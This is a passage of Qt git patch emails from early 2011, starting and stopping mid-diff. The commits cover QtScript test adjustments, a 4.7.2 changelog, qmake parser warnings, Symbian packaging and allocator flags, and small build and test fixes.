[undefined] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n--"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = null; a.n++"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = null; a.n--"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; ++a.n"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; --a.n"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n += 1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n -= 1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = 'ciao'; a.length++"); @@ -5436,6 +5621,7 @@ void tst_QScriptEngine::collectGarbageAfterConnect() .isUndefined()); QVERIFY(widget != 0); engine.evaluate("widget = null;"); + // The connection should not keep the widget alive. collectGarbage_helper(engine); QVERIFY(widget == 0); } @@ -5599,6 +5785,17 @@ void tst_QScriptEngine::reentrency() void tst_QScriptEngine::newFixedStaticScopeObject() { + // "Static scope objects" is an optimization we do for QML. + // It enables the creation of JS objects that can guarantee to the + // compiler that no properties will be added or removed. This enables + // the compiler to generate a very simple (fast) property access, as + // opposed to a full virtual lookup. Due to the inherent use of scope + // chains in QML, this can make a huge difference (10x improvement for + // benchmark in QTBUG-8576). + // Ideally we would not need a special object type for this, and the + // VM would dynamically optimize it to be fast... + // See also QScriptEngine benchmark. + QScriptEngine eng; static const int propertyCount = 4; QString names[] = { "foo", "bar", "baz", "Math" }; @@ -5739,6 +5936,11 @@ void tst_QScriptEngine::newFixedStaticScopeObject() void tst_QScriptEngine::newGrowingStaticScopeObject() { + // The main use case for a growing static scope object is to set it as + // the activation object of a QScriptContext, so that all JS variable + // declarations end up in that object. It needs to be "growable" since + // we don't know in advance how many variables a script will declare. + QScriptEngine eng; QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(&eng); @@ -5826,10 +6028,10 @@ void tst_QScriptEngine::newGrowingStaticScopeObject() { QScriptValue fun = eng.evaluate("(function() { return futureProperty; })"); QVERIFY(fun.isFunction()); - QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty")); + QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError"))); scope.setProperty("futureProperty", "added after the function was compiled"); // If scope were dynamic, this would return the new property. - QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty")); + QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError"))); } eng.popContext(); -- cgit v0.12 From da48bbe66b7821416bee1ebc0215bc93e68f0a2a Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 15:45:08 +0100 Subject: Split QScriptQObject test into smaller functions It could be split further (and with more descriptive names), but this is a start, at least. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- .../qscriptextqobject/tst_qscriptextqobject.cpp | 46 ++++++++++++++++++++-- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp index cb29586..1607bed 100644 --- a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp +++ b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp @@ -549,10 +549,19 @@ private slots: void getSetDynamicProperty_doNotHideJSProperty(); void getSetChildren(); void callQtInvokable(); + void callQtInvokable2(); + void callQtInvokable3(); + void callQtInvokable4(); + void callQtInvokable5(); + void callQtInvokable6(); + void callQtInvokable7(); void connectAndDisconnect(); + void connectAndDisconnect_emitFromJS(); + void connectAndDisconnect_senderWrapperCollected(); void connectAndDisconnectWithBadArgs(); void connectAndDisconnect_senderDeleted(); void cppConnectAndDisconnect(); + void cppConnectAndDisconnect2(); void classEnums(); void classConstructor(); void overrideInvokable(); @@ -1270,7 +1279,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionActuals().size(), 2); QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 123); QCOMPARE(m_myObject->qtFunctionActuals().at(1).toInt(), 456); +} +void tst_QScriptExtQObject::callQtInvokable2() +{ m_myObject->resetQtFunctionInvoked(); QVERIFY(m_engine->evaluate("myObject.myInvokableWithVoidStarArg(null)").isUndefined()); QCOMPARE(m_myObject->qtFunctionInvoked(), 44); @@ -1359,7 +1371,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(ret.isArray(), true); QCOMPARE(m_myObject->qtFunctionInvoked(), 11); } +} +void tst_QScriptExtQObject::callQtInvokable3() +{ { QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithVectorOfIntArg(myObject.myInvokableReturningVectorOfInt())"); QCOMPARE(ret.isUndefined(), true); @@ -1485,7 +1500,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(ret.property("0").strictlyEquals(QScriptValue(m_engine, 1)), true); QCOMPARE(ret.property("1").strictlyEquals(QScriptValue(m_engine, 5)), true); } +} +void tst_QScriptExtQObject::callQtInvokable4() +{ m_myObject->resetQtFunctionInvoked(); { QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithQObjectStarArg(myObject)"); @@ -1571,7 +1589,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(v.userType(), int(QMetaType::ULongLong)); QCOMPARE(qvariant_cast(v), qulonglong(123)); } +} +void tst_QScriptExtQObject::callQtInvokable5() +{ m_myObject->resetQtFunctionInvoked(); { QScriptValue fun = m_engine->evaluate("myObject.myInvokableWithQBrushArg"); @@ -1659,7 +1680,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionActuals().size(), 1); QCOMPARE(qvariant_cast(m_myObject->qtFunctionActuals().at(0)), (QObject*)m_myObject); } +} +void tst_QScriptExtQObject::callQtInvokable6() +{ // QScriptValue arguments should be passed on without conversion m_myObject->resetQtFunctionInvoked(); { @@ -1723,18 +1747,21 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionInvoked(), 55); } } +} +void tst_QScriptExtQObject::callQtInvokable7() +{ // qscript_call() { m_myObject->resetQtFunctionInvoked(); QScriptValue ret = m_engine->evaluate("new myObject(123)"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a constructor.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { m_myObject->resetQtFunctionInvoked(); QScriptValue ret = m_engine->evaluate("myObject(123)"); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a function.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } // task 233624 @@ -1971,9 +1998,10 @@ void tst_QScriptExtQObject::connectAndDisconnect() QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject, 'mySlot')").isUndefined()); QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(yetAnotherObject, 'func')").isUndefined()); QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(myObject, 'mySlot')").isUndefined()); +} - // check that emitting signals from script works - +void tst_QScriptExtQObject::connectAndDisconnect_emitFromJS() +{ // no arguments QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined()); m_myObject->resetQtFunctionInvoked(); @@ -2022,7 +2050,10 @@ void tst_QScriptExtQObject::connectAndDisconnect() QCOMPARE(m_myObject->qtFunctionActuals().size(), 1); QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 456); QVERIFY(m_engine->evaluate("myObject.mySignalWithIntArg.disconnect(myObject['myOverloadedSlot(int)'])").isUndefined()); +} +void tst_QScriptExtQObject::connectAndDisconnect_senderWrapperCollected() +{ // when the wrapper dies, the connection stays alive QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined()); m_myObject->resetQtFunctionInvoked(); @@ -2210,7 +2241,14 @@ void tst_QScriptExtQObject::cppConnectAndDisconnect() QVERIFY(!qScriptDisconnect(&edit2, SIGNAL(textChanged(const QString &)), receiver, fun)); } } +} +void tst_QScriptExtQObject::cppConnectAndDisconnect2() +{ + QScriptEngine eng; + QLineEdit edit; + QLineEdit edit2; + QScriptValue fun = eng.evaluate("function fun(text) { signalObject = this; signalArg = text; }; fun"); // make sure we don't crash when engine is deleted { QScriptEngine *eng2 = new QScriptEngine; -- cgit v0.12 From 940d30e9cd76e9b98dd04c2e25a27b6a90bb34b9 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 3 Feb 2011 13:06:04 +0200 Subject: My changes 4.7.2 Reviewed-by: TrustMe --- dist/changes-4.7.2 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 60 insertions(+), 2 deletions(-) diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2 index 0d93052..d351856 100644 --- a/dist/changes-4.7.2 +++ b/dist/changes-4.7.2 @@ -134,8 +134,63 @@ Qt for Symbian specify which Internet Access Point should be used for streaming. - QNetworkProxyFactory - * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing - network proxies configured on the device to be used by applications. + * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing + network proxies configured on the device to be used by applications. + + - QApplication + * [QTBUG-15915] Fix crash when creating more than one QApplication in single test case. + + - QDesktopWidget + * [QTBUG-16095] Resize event for QDesktopWidget was sent too early. + + - QFileDialog + * [QTBUG-16204] Fix using QFileDialog statics in Symbian. + + - QDialog + * [QTBUG-16277] Fix fullscreen/Maximized dialog misplacement in Symbian. + + - QSystemSemaphore + * [QTBUG-16615] Fix QSystemSemaphore handle management issues in Symbian. + + - QLineEdit + * [QTBUG-16238] Fix one character displacement for cursor in line edits. + + - qmake & mkspecs + * [QT-4193] Only add ICON for application projects in symbianpkgrules.pri + * [QTBUG-13159] Allow pkg_prerules and pkg_postrules to be targeted to separate files. + * [QTBUG-13367] Make default application deployment removable & added .flags modifier + support for DEPLOYMENT items in Symbian. + * [QTBUG-14280] Implement support for DEPLOYMENT.display_name in Symbian. + * [QTBUG-13917] Localize .loc and .pkg content based on TRANSLATIONS. + * [QTBUG-15159] Use include(original mkspec) instead of copying of mkspec to default. + * [QTBUG-15393] Resolve EPOCROOT in qt.conf using same logic as in .pro. + * [QTBUG-15501] Fix symbian-mmp.conf include path. + * [QTBUG-15539] Use parent class function to generate Makefile headers in Symbian. + * [QTBUG-14472] Add NetworkServices capability automatically for network apps + * [QTBUG-14736] Add libinfix support for QML plugins in Symbian. + * [QT-4375] Fix incorrect file name case for OpenGL libraries in symbian.conf. + * [QTBUG-16172] Use relative include instead of absolute in default qmake.conf. + * [QTBUG-16221] Fix libinfixed usage in Symbian when def files are used. + * [QTBUG-16261] Fix infinite loop in qmake when reading malformed .ts files. + * [QTBUG-16298] Ignore static_and_shared in Symbian builds. + * [QTBUG-13769] Generate freeze targets in Symbian. + * [QTBUG-16691] Remove toolcheck from generic clean targets for symbian-sbsv2. + * [QT-4476] Fixed UTF-8 application names in device application menu in Symbian. + * [QTBUG-16753] Improved QMAKE_POST_LINK support in symbian-sbsv2. + * [QTBUG-16881] Fix QMAKE_POST_LINK in Symbian for targets with special characters. + * [QTBUG-16888] No longer replace dash and dot in TARGET with underscore in Symbian. + * Fix partial upgrade package UID for libinfixed Qt. + * Cleaned up sis_targets.prf. + + - Tool scripts + * [QTBUG-13886] Disallow patching capabilities of executables. + * [QTBUG-13891] Add Location as self signable capability in patch_capabilities.pl. + * [QTBUG-15561] Only patch package content that is necessary for self-signing. + * Fix epocroot handling in createpackage.pl script. + * Unify epocroot usage in createpackage and patch_capabilities scripts. + + - qtmain.lib + * [QTBUG-14735] Use qtmain.lib to provide entry point for all Symbian applications. Qt for Embedded Linux --------------------- @@ -165,6 +220,9 @@ Qt for Windows CE - Linguist * baz + - qmake + * [QTBUG-14357] Make qmake to pass all UTF-8 characters unchanged through parser. + **************************************************************************** * Important Behavior Changes * **************************************************************************** -- cgit v0.12 From 147df10403ba280b3f04c1e3d6c4b1cf386abe5d Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 3 Feb 2011 12:28:27 +0100 Subject: Don't crash when creating backtrace for built-in JS function When the JIT is enabled, NativeFunctionWrapper (used for built-in functions such as Array.prototype.forEach) inherits JSFunction, so we must check whether the function is actually a JS (script) function before we start accessing script-specific properties. Task-number: QTBUG-17137 Reviewed-by: Olivier Goffart --- src/script/api/qscriptcontextinfo.cpp | 3 ++- tests/auto/qscriptcontext/tst_qscriptcontext.cpp | 15 +++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/src/script/api/qscriptcontextinfo.cpp b/src/script/api/qscriptcontextinfo.cpp index db6b2d7..d39abe6 100644 --- a/src/script/api/qscriptcontextinfo.cpp +++ b/src/script/api/qscriptcontextinfo.cpp @@ -181,7 +181,8 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte JSC::JSObject *callee = frame->callee(); if (callee && callee->inherits(&JSC::InternalFunction::info)) functionName = JSC::asInternalFunction(callee)->name(frame); - if (callee && callee->inherits(&JSC::JSFunction::info)) { + if (callee && callee->inherits(&JSC::JSFunction::info) + && !JSC::asFunction(callee)->isHostFunction()) { functionType = QScriptContextInfo::ScriptFunction; JSC::FunctionExecutable *body = JSC::asFunction(callee)->jsExecutable(); functionStartLineNumber = body->lineNo(); diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp index 1a1576b..dd21555 100644 --- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp +++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp @@ -860,6 +860,21 @@ void tst_QScriptContext::backtrace_data() QTest::newRow("js recursive") << source << expected; } + + { + QString source = QString::fromLatin1( + "[0].forEach(\n" + " function() {\n" + " result = bt();\n" + "}); result"); + + QStringList expected; + expected << "() at -1" + << "(0, 0, 0) at testfile:3" + << "forEach(0) at -1" + << "() at testfile:4"; + QTest::newRow("js callback from built-in") << source << expected; + } } -- cgit v0.12 From 71eb2bd23604d9c809f143496f781c1d5c065473 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Fri, 28 Jan 2011 17:46:30 +0100 Subject: move multiple inclusion check for feature files to correct location previously, features specified with an absolute path would not be covered by the multiple inclusion guard, unlike the one specified just by a name. this is of theoretical value only, as nobody specifies features via absolute path anyway ... Reviewed-by: mariusSO --- qmake/project.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 8d8d9e0..4e2d743 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -1681,10 +1681,10 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap Date: Fri, 28 Jan 2011 17:51:22 +0100 Subject: use const ref Reviewed-by: mariusSO --- qmake/project.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 4e2d743..1a13639 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -228,7 +228,7 @@ static QString varMap(const QString &x) return ret; } -static QStringList split_arg_list(QString params) +static QStringList split_arg_list(const QString ¶ms) { int quote = 0; QStringList args; -- cgit v0.12 From dbfca8da2807921069c0e53da33f6e7bd3e73479 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Fri, 28 Jan 2011 18:03:16 +0100 Subject: complain about unmatched quotes/parens using WarnDeprecated instead of WarnParser is a bit backwards, but we need something which is on by default and i don't feel like introducing a second parser warning mode for that. Reviewed-by: mariusSO --- qmake/project.cpp | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 1a13639..9c99c44 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -280,6 +280,8 @@ static QStringList split_arg_list(const QString ¶ms) ++last; } } + // Could do a check for unmatched parens here, but split_value_list() + // is called on all our output, so mistakes will be caught anyway. return args; } @@ -288,6 +290,7 @@ static QStringList split_value_list(const QString &vals) QString build; QStringList ret; QStack quote; + int parens = 0; const ushort LPAREN = '('; const ushort RPAREN = ')'; @@ -298,7 +301,7 @@ static QStringList split_value_list(const QString &vals) ushort unicode; const QChar *vals_data = vals.data(); const int vals_len = vals.length(); - for(int x = 0, parens = 0; x < vals_len; x++) { + for(int x = 0; x < vals_len; x++) { unicode = vals_data[x].unicode(); if(x != (int)vals_len-1 && unicode == BACKSLASH && (vals_data[x+1].unicode() == SINGLEQUOTE || vals_data[x+1].unicode() == DOUBLEQUOTE)) { @@ -322,6 +325,11 @@ static QStringList split_value_list(const QString &vals) } if(!build.isEmpty()) ret << build; + if (parens) + warn_msg(WarnDeprecated, "%s:%d: Unmatched parentheses are deprecated.", + parser.file.toLatin1().constData(), parser.line_no); + // Could do a check for unmatched quotes here, but doVariableReplaceExpand() + // is called on all our output, so mistakes will be caught anyway. return ret; } @@ -2966,6 +2974,9 @@ QMakeProject::doVariableReplaceExpand(const QString &str, QMap Date: Thu, 3 Feb 2011 15:33:41 +0200 Subject: Remove dependencies to pre-Symbian3 platforms from Symbian3 packages Qt applications built against Symbian3 SDK will not run on older devices, so remove the platform dependency to those devices so that the user will get a proper warning if he tries to install incompatible software to an older device. Task-number: QTBUG-17187 Reviewed-by: Janne Koskinen --- mkspecs/features/symbian/default_post.prf | 14 ++++++++------ src/s60installs/s60installs.pro | 8 +------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/mkspecs/features/symbian/default_post.prf b/mkspecs/features/symbian/default_post.prf index ec6ecd0..126981e 100644 --- a/mkspecs/features/symbian/default_post.prf +++ b/mkspecs/features/symbian/default_post.prf @@ -53,14 +53,16 @@ isEmpty(TARGET.UID2) { } } -# Supports S60 3.1, 3.2, 5.0, Symbian^3, and Symbian^4 by default +# Supports Symbian^3 and Symbian^4 by default and also S60 3.1, 3.2, and 5.0 if built against any of those. platform_product_id = S60ProductID platform_product_id = $$addLanguageDependentPkgItem(platform_product_id) pkg_platform_dependencies = \ "; Default HW/platform dependencies" \ - "[0x102032BE],0,0,0,{$$platform_product_id}" \ - "[0x102752AE],0,0,0,{$$platform_product_id}" \ - "[0x1028315F],0,0,0,{$$platform_product_id}" \ "[0x20022E6D],0,0,0,{$$platform_product_id}" \ - "[0x20032DE7],0,0,0,{$$platform_product_id}" \ - " " + "[0x20032DE7],0,0,0,{$$platform_product_id}" +contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) { + pkg_platform_dependencies += \ + "[0x102032BE],0,0,0,{$$platform_product_id}" \ + "[0x102752AE],0,0,0,{$$platform_product_id}" \ + "[0x1028315F],0,0,0,{$$platform_product_id}" +} diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index 5c89338..c282b1e 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -77,19 +77,13 @@ symbian: { "ENDIF" \ " \"$$bearerStubZ\" - \"c:$$replace(QT_PLUGINS_BASE_DIR,/,\\)\\bearer\\qsymbianbearer$${QT_LIBINFIX}.qtplugin\" } else { - # Restrict deployment to Symbian3 and later platforms - default_deployment.pkg_prerules -= pkg_platform_dependencies - platform_dependency_rules.pkg_prerules = \ - "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ - "[0x20032DE7],0,0,0,{\"S60ProductID\"}" - # No need to deploy plugins for older platform versions when building on Symbian3 or later qts60plugindeployment = \ " \"$$pluginLocations/qts60plugin_5_0$${QT_LIBINFIX}.dll\" - \"c:\\sys\\bin\\qts60plugin_5_0$${QT_LIBINFIX}.dll\"" bearer_plugin.sources = $$QT_BUILD_TREE/plugins/bearer/qsymbianbearer$${QT_LIBINFIX}.dll bearer_plugin.path = c:$$QT_PLUGINS_BASE_DIR/bearer - DEPLOYMENT += bearer_plugin platform_dependency_rules + DEPLOYMENT += bearer_plugin } qtlibraries.pkg_postrules += qts60plugindeployment -- cgit v0.12 From 08ec37f964361b9907292277f851de9e08032964 Mon Sep 17 00:00:00 2001 From: mread Date: Thu, 3 Feb 2011 10:29:28 +0000 Subject: Using QElapesedTimer for Symbian idle detector QElapsedTimer is used instead of QTime for event timing in Symbian's idle detector. Task-number: QTBUG-10120 Reviewed-by: Shane Kearns --- src/corelib/kernel/qeventdispatcher_symbian.cpp | 2 +- src/corelib/kernel/qeventdispatcher_symbian_p.h | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp index d6ab618a..53796be 100644 --- a/src/corelib/kernel/qeventdispatcher_symbian.cpp +++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp @@ -810,7 +810,7 @@ bool QEventDispatcherSymbian::processEvents ( QEventLoop::ProcessEventsFlags fla m_interrupt = false; #ifdef QT_SYMBIAN_PRIORITY_DROP - QTime eventTimer; + QElapsedTimer eventTimer; #endif while (1) { diff --git a/src/corelib/kernel/qeventdispatcher_symbian_p.h b/src/corelib/kernel/qeventdispatcher_symbian_p.h index b785aea..bdb6dce 100644 --- a/src/corelib/kernel/qeventdispatcher_symbian_p.h +++ b/src/corelib/kernel/qeventdispatcher_symbian_p.h @@ -63,6 +63,7 @@ #include #include #include +#include #include @@ -284,7 +285,7 @@ private: int m_delay; int m_avgEventTime; - QTime m_lastIdleRequestTimer; + QElapsedTimer m_lastIdleRequestTimer; }; #ifdef QT_DEBUG -- cgit v0.12 From a496c01470e609cd385c725bccc72e33430d4038 Mon Sep 17 00:00:00 2001 From: mread Date: Thu, 3 Feb 2011 14:51:48 +0000 Subject: Using a better flag to control the fast allocator The Qt fast allocator should be used on any Symbian platform where it is not supplied by euser. But it's better if the code is not there when euser provides the fast allocator as euser's implementation will be better maintained. The previous flag SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS was only associated with euser's fast allocator in S60 10.1. __SYMBIAN_KERNEL_HYBRID_HEAP__ is more accurately associated with it in the new MCL. Task-number: QTBUG-15901 Reviewed-by: Miikka Heikkinen --- src/corelib/arch/symbian/qt_hybridheap_symbian_p.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h index 4eff0f3..d1ce705 100644 --- a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h +++ b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h @@ -43,8 +43,9 @@ #define QT_HYBRIDHEAP_SYMBIAN_H #include +#include -#if !defined(SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS) && !defined(__WINS__) +#if !defined(__SYMBIAN_KERNEL_HYBRID_HEAP__) && !defined(__WINS__) //Enable the (backported) new allocator. When it is available in OS, //this flag should be disabled for that OS version onward #define QT_USE_NEW_SYMBIAN_ALLOCATOR -- cgit v0.12 From 0401781da17f949c0d42d176266ff47ed59b0793 Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 09:44:42 +0100 Subject: Fixed library casing. RevBy: Trust me --- src/plugins/phonon/mmf/mmf.pro | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/plugins/phonon/mmf/mmf.pro b/src/plugins/phonon/mmf/mmf.pro index de00c9e..a9e5746 100644 --- a/src/plugins/phonon/mmf/mmf.pro +++ b/src/plugins/phonon/mmf/mmf.pro @@ -128,7 +128,7 @@ symbian { LIBS += -lAudioEqualizerEffect -lBassBoostEffect -lDistanceAttenuationEffect -lDopplerbase -lEffectBase -lEnvironmentalReverbEffect -lListenerDopplerEffect -lListenerLocationEffect -lListenerOrientationEffect -lLocationBase -lLoudnessEffect -lOrientationBase -lSourceDopplerEffect -lSourceLocationEffect -lSourceOrientationEffect -lStereoWideningEffect # This is to allow IAP to be specified - LIBS += -lCommDb + LIBS += -lcommdb # This is needed for having the .qtplugin file properly created on Symbian. QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/phonon_backend -- cgit v0.12 From 1f904ce8553f4d8a64ac793fe09e3b8cedb8bddf Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 09:45:23 +0100 Subject: Fixed wrong static library extension on Symbian. After commit a1ba5568da6c57e, which moved the extension definitions from the symbian-makefile.conf to symbian.conf, the QMAKE_EXTENSION_STATICLIB was wrong because unix.conf was included later and overwrote it. Turns out we don't need unix.conf, so I just removed it. RevBy: Trust me --- mkspecs/common/symbian/symbian-makefile.conf | 2 -- 1 file changed, 2 deletions(-) diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf index 0360615..e51de1d 100644 --- a/mkspecs/common/symbian/symbian-makefile.conf +++ b/mkspecs/common/symbian/symbian-makefile.conf @@ -19,8 +19,6 @@ QMAKE_ELF2E32_FLAGS = --dlldata \ --compressionmethod bytepair \ --unpaged -include(../../common/unix.conf) - QMAKE_PREFIX_SHLIB = CONFIG *= no_plugin_name_prefix QMAKE_PREFIX_STATICLIB = -- cgit v0.12 From 0c494b2c3d05a00f0cb167daed24730a2cc5815e Mon Sep 17 00:00:00 2001 From: axis Date: Thu, 3 Feb 2011 15:37:05 +0100 Subject: Fixed wrong casing of a Symbian library. RevBy: Trust me --- demos/qmediaplayer/qmediaplayer.pro | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/qmediaplayer/qmediaplayer.pro b/demos/qmediaplayer/qmediaplayer.pro index d283ec8..fbf06d2 100644 --- a/demos/qmediaplayer/qmediaplayer.pro +++ b/demos/qmediaplayer/qmediaplayer.pro @@ -33,7 +33,7 @@ symbian { include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) - LIBS += -lCommDb + LIBS += -lcommdb TARGET.CAPABILITY="NetworkServices" } -- cgit v0.12 From accc1acc8632e5b21114600b5bcb92cf74004097 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Thu, 3 Feb 2011 16:17:26 +0100 Subject: tst_qsvgrenderer: works on shadowbuild --- tests/auto/qsvgrenderer/qsvgrenderer.pro | 3 +++ tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp | 8 ++++++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/tests/auto/qsvgrenderer/qsvgrenderer.pro b/tests/auto/qsvgrenderer/qsvgrenderer.pro index 0b785e3..9f0f886 100644 --- a/tests/auto/qsvgrenderer/qsvgrenderer.pro +++ b/tests/auto/qsvgrenderer/qsvgrenderer.pro @@ -18,3 +18,6 @@ wince*|symbian { } } +!symbian: { + DEFINES += SRCDIR=\\\"$$PWD/\\\" +} diff --git a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp index 5928a09..9fbf2a0 100644 --- a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp +++ b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp @@ -51,6 +51,10 @@ #include #include +#ifndef SRCDIR +#define SRCDIR +#endif + //TESTED_CLASS= //TESTED_FILES= @@ -647,13 +651,13 @@ void tst_QSvgRenderer::gradientRefs() #ifndef QT_NO_COMPRESS void tst_QSvgRenderer::testGzLoading() { - QSvgRenderer renderer(QLatin1String("heart.svgz")); + QSvgRenderer renderer(QLatin1String(SRCDIR "heart.svgz")); QVERIFY(renderer.isValid()); QSvgRenderer resourceRenderer(QLatin1String(":/heart.svgz")); QVERIFY(resourceRenderer.isValid()); - QFile largeFileGz("large.svgz"); + QFile largeFileGz(SRCDIR "large.svgz"); largeFileGz.open(QIODevice::ReadOnly); QByteArray data = largeFileGz.readAll(); QSvgRenderer autoDetectGzData(data); -- cgit v0.12 From ba8e5eedf5f40091eb67dd391a7dcaf9299db2f5 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Thu, 3 Feb 2011 14:57:33 +0100 Subject: Implement QThreadData::current using __thread It slightly faster, and QThreadData::current is used everywhere Reviewed-by: mread Reviewed-by: Joao --- src/corelib/thread/qthread_unix.cpp | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/src/corelib/thread/qthread_unix.cpp b/src/corelib/thread/qthread_unix.cpp index 0766447..891ac77 100644 --- 